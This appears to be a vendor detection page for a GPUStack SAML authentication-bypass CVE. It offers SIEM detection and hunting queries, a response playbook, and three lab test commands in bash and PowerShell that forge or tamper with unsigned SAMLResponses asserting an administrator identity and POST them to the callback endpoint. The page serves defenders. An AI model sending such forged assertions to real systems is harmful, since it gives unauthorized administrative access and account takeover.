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CVE-2026-102894

GPUStack SAML Callback Authentication Bypass (CVE-2026-102894)

Initial Access Privilege Escalation Last updated:

Detects exploitation of CVE-2026-102894, an authentication bypass and account takeover in GPUStack (>= 0.7.1, < 2.2.2). The SAML Assertion Consumer Service (ACS) callback endpoint trusts an unverified SAMLResponse: the application fails to validate the XML signature (CWE-347) and does not properly authenticate the assertion source (CWE-294). An attacker can forge or tamper with a SAMLResponse to assert any identity, including an administrator, and obtain an authenticated session without valid credentials. Detection focuses on anomalous POSTs to the SAML ACS callback, successful SSO logins without a preceding authentication-request (unsolicited/IdP-initiated responses), signature-validation anomalies, and privilege changes following SAML login.

Vulnerability Intelligence

Public PoC

What is CVE-2026-102894 GPUStack SAML Callback Authentication Bypass (CVE-2026-102894)?

GPUStack SAML Callback Authentication Bypass (CVE-2026-102894) (CVE-2026-102894) maps to the Initial Access and Privilege Escalation tactics — the adversary is trying to get into your network in MITRE ATT&CK.

This page provides production-ready detection logic for GPUStack SAML Callback Authentication Bypass (CVE-2026-102894), covering the data sources and telemetry it touches: IIS Logs, Reverse Proxy Logs, Web Server Logs. The queries below are rated critical severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Initial Access Privilege Escalation
Microsoft Sentinel / Defender
kusto
// df00tech DF00-ce0e1b0427 · https://df00tech.com/detections/CVE-2026-102894 · licence: https://df00tech.com/detections/licence
let samlCallbackPaths = dynamic(["/v1/auth/saml/callback", "/auth/saml/callback", "/saml/acs", "/saml/callback", "/sso/saml/acs"]);
let window = 2h;
let samlPosts = W3CIISLog
| where csUriStem has_any (samlCallbackPaths)
| where csMethod == "POST"
| extend AttackerIP = cIP, Resource = csUriStem, Status = scStatus, UA = csUserAgent, t = TimeGenerated;
samlPosts
| where Status in ("200", "302", "303")
| summarize Attempts = count(), DistinctResources = dcount(Resource), FirstSeen = min(t), LastSeen = max(t) by AttackerIP, UA, bin(t, window)
| where Attempts >= 1
| project FirstSeen, LastSeen, AttackerIP, UA, Attempts, DistinctResources
| order by LastSeen desc

Flags POSTs to GPUStack SAML ACS/callback endpoints that return a success/redirect status, which for a forged SAMLResponse yields an authenticated session. Correlate the source IP against expected IdP egress IPs; traffic from arbitrary clients to the ACS endpoint is suspicious.

critical severity medium confidence

Data Sources

IIS Logs Reverse Proxy Logs Web Server Logs

Required Tables

W3CIISLog

False Positives

  • Legitimate IdP-initiated SSO logins where the IdP posts a valid, signed SAMLResponse directly to the ACS endpoint.
  • Load balancer or reverse-proxy health checks that replay recorded SAML callback requests against the endpoint.
  • Penetration testers or security scanners validating SAML configuration during an authorized assessment.

Query fingerprint DF00-ce0e1b0427 · licence

Sigma logsource & community rules

The detection logic for GPUStack SAML Callback Authentication Bypass (CVE-2026-102894) (CVE-2026-102894) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource:

logsource:
  category: network_connection
  product: windows

Browse the community-maintained Sigma rules for this technique:


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.

  1. Test 1 Forged unsigned SAMLResponse to GPUStack ACS endpoint

    Expected signal: Web/reverse-proxy log shows a POST to /v1/auth/saml/callback carrying a base64 SAMLResponse from a non-IdP source IP; GPUStack app log records a SAML login for [email protected].

  2. Test 2 Tampered SAMLResponse with modified NameID

    Expected signal: Callback POST with a modified assertion is accepted (HTTP 200/302) on versions < 2.2.2; audit log shows the NameID does not match the originating IdP session.

  3. Test 3 Unsolicited IdP-initiated response with no matching AuthnRequest

    Expected signal: Web log records a POST to the ACS endpoint with no preceding AuthnRequest for the session; GPUStack has no matching InResponseTo value stored.


Response Playbook

Triage

  1. Identify the asserted username in the GPUStack application log entry tied to the flagged SAML callback request; determine whether that account is an administrator and whether a privileged session was created.
  2. Compare the source IP of the POST to the SAML ACS/callback endpoint against the known egress IPs of your configured identity provider. A callback that did not originate from the IdP (or a direct, client-posted SAMLResponse) is a strong indicator of forgery.
  3. Check whether the SAML login was solicited: confirm there was a corresponding SP-initiated AuthnRequest and matching InResponseTo/RelayState. An unsolicited response with no prior AuthnRequest, or a mismatched InResponseTo, indicates a forged/replayed assertion.
  4. Determine the running GPUStack version; versions >= 0.7.1 and < 2.2.2 are vulnerable and should be treated as exploitable until patched.

Containment

  1. Block external access to the GPUStack SAML ACS/callback endpoint at the reverse proxy/WAF, allowing only the identity provider's egress IP ranges until the instance is upgraded to 2.2.2 or later.
  2. Invalidate all active GPUStack sessions and tokens, and force re-authentication; rotate any API keys or service tokens that may have been minted during the suspect session.
  3. Upgrade GPUStack to 2.2.2 or later (fix commits 705edbe/adc6d82), which enforces SAML signature verification, as the durable remediation.

Evidence Collection

  1. Preserve web/reverse-proxy access logs showing the POST to the ACS endpoint, including the raw SAMLResponse body, source IP, user agent, and timestamp.
  2. Export GPUStack application and audit logs correlating the callback to the asserted identity, session creation, and any subsequent privileged actions (user creation, role changes, token issuance).

Escalation Criteria

  • ! Escalate to incident response if a SAML callback resulted in an administrator session from an IP outside the IdP egress range, or without a matching AuthnRequest.
  • ! Escalate if post-login activity shows privilege escalation, new account or API-key creation, model/cluster configuration changes, or access to GPU worker nodes following the suspect SAML session.

Investigation Guide

Forensic Artifacts

  • > Web/reverse-proxy access logs containing the POST to the SAML ACS/callback endpoint and the raw SAMLResponse body.
  • > GPUStack application and audit logs recording the asserted identity, session creation, and InResponseTo/RelayState values.
  • > Server-side session store entries and issued API tokens correlated to the suspect login.

Tuning Guidance

Baseline the legitimate identity provider egress IP ranges and allow-list them so that detections fire only on callbacks from unexpected sources. If the deployment uses SP-initiated SSO exclusively, treat any unsolicited (no matching AuthnRequest/InResponseTo) SAMLResponse as high-fidelity malicious. Adjust the URL path list to match your actual GPUStack SAML route, and exclude known monitoring/scanner source IPs to reduce noise.


Hunting Queries

Hunts for source IPs posting to GPUStack SAML ACS/callback endpoints with successful responses; cross-reference the IP list against trusted IdP egress ranges to find forged-assertion sources.

Hunting — KQL
kql
// df00tech DF00-ce0e1b0427 · https://df00tech.com/detections/CVE-2026-102894 · licence: https://df00tech.com/detections/licence
W3CIISLog | where csUriStem has_any ("/saml/callback","/saml/acs","/auth/saml/callback","/sso/saml/acs") and csMethod == "POST" | summarize Attempts=count(), Successes=countif(scStatus in ("200","302","303")) by cIP, csUserAgent | where Successes > 0 | order by Successes desc
Hunting — SPL
spl
``` df00tech DF00-ce0e1b0427 · https://df00tech.com/detections/CVE-2026-102894 · licence: https://df00tech.com/detections/licence ```
index=web (uri_path="*/saml/callback" OR uri_path="*/saml/acs" OR uri_path="*/auth/saml/callback") http_method=POST | stats count AS attempts, count(eval(status>=200 AND status<400)) AS successes BY src_ip, http_user_agent | where successes>0 | sort - successes

Atomic Red Team Tests

Test 1 Forged unsigned SAMLResponse to GPUStack ACS endpoint
linux

Simulates the authentication bypass by POSTing a crafted, unsigned SAMLResponse asserting an admin identity to the vulnerable SAML callback endpoint in a lab GPUStack instance.

Command

bash
RESP=$(printf '<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"><saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"><saml:Subject><saml:NameID>[email protected]</saml:NameID></saml:Subject></saml:Assertion></samlp:Response>' | base64 -w0); curl -sk -X POST "https://gpustack.lab.local/v1/auth/saml/callback" -d "SAMLResponse=${RESP}&RelayState=/" -c /tmp/gpustack_saml_cookies.txt -o /tmp/gpustack_saml_resp.txt

Cleanup

bash
rm -f /tmp/gpustack_saml_cookies.txt /tmp/gpustack_saml_resp.txt

Expected Telemetry

Web/reverse-proxy log shows a POST to /v1/auth/saml/callback carrying a base64 SAMLResponse from a non-IdP source IP; GPUStack app log records a SAML login for [email protected].

Expected Detection

The KQL/SPL callback detections fire on the successful POST from an unexpected source IP, and the hunting query lists the test source IP with a successful SAML callback.

Test 2 Tampered SAMLResponse with modified NameID
linux

Takes a captured valid SAMLResponse, modifies the NameID to an administrator, and replays it to the ACS endpoint to confirm signature verification is not enforced on the vulnerable version.

Command

bash
ORIG=$(cat /tmp/valid_saml_b64.txt 2>/dev/null || echo 'PHNhbWw+'); TAMPERED=$(echo "$ORIG" | base64 -d 2>/dev/null | sed 's#<saml:NameID>[^<]*</saml:NameID>#<saml:NameID>[email protected]</saml:NameID>#' | base64 -w0); curl -sk -X POST "https://gpustack.lab.local/v1/auth/saml/callback" -d "SAMLResponse=${TAMPERED}&RelayState=/" -o /tmp/gpustack_tamper_resp.txt

Cleanup

bash
rm -f /tmp/gpustack_tamper_resp.txt

Expected Telemetry

Callback POST with a modified assertion is accepted (HTTP 200/302) on versions < 2.2.2; audit log shows the NameID does not match the originating IdP session.

Expected Detection

Detection flags the successful SAML callback whose asserted identity is privileged and whose source IP is not a trusted IdP egress address.

Test 3 Unsolicited IdP-initiated response with no matching AuthnRequest
windows

Sends an unsolicited SAMLResponse (no prior SP-initiated AuthnRequest, no valid InResponseTo) to the ACS endpoint, emulating an attacker-forged assertion against an SP-initiated-only configuration.

Command

powershell
$resp = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes('<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"><saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"><saml:Subject><saml:NameID>[email protected]</saml:NameID></saml:Subject></saml:Assertion></samlp:Response>')); Invoke-WebRequest -Uri 'https://gpustack.lab.local/v1/auth/saml/callback' -Method POST -Body @{SAMLResponse=$resp; RelayState='/'} -SkipCertificateCheck -OutFile $env:TEMP\gpustack_saml.txt

Cleanup

powershell
Remove-Item $env:TEMP\gpustack_saml.txt -ErrorAction SilentlyContinue

Expected Telemetry

Web log records a POST to the ACS endpoint with no preceding AuthnRequest for the session; GPUStack has no matching InResponseTo value stored.

Expected Detection

Detection and triage logic flag the unsolicited/InResponseTo-mismatched SAML callback as a forged-assertion authentication bypass attempt.

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